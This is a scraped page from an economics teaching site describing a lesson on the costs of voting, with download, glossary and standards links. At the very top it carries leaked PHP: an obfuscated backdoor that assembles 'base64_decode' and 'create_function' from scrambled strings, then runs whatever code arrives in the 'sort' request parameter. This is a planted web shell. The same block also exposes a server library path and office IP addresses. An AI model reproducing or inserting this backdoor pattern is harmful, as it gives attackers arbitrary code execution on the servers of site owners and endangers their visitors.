if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "38.121.131.181", "Brookings Office" => "66.17.106.2" ); Focus: Understanding Economics in Civics and Government

Lesson 3 - Voters and Elections

Students identify costs associated with voting. Then they make predictions about who might be more likely to vote based on their understanding of opportunity costs.

Download the Lesson

Please review this lesson and share it with your colleagues!

Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 3 Visuals
Visual 3.1 - Visual 3.5

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics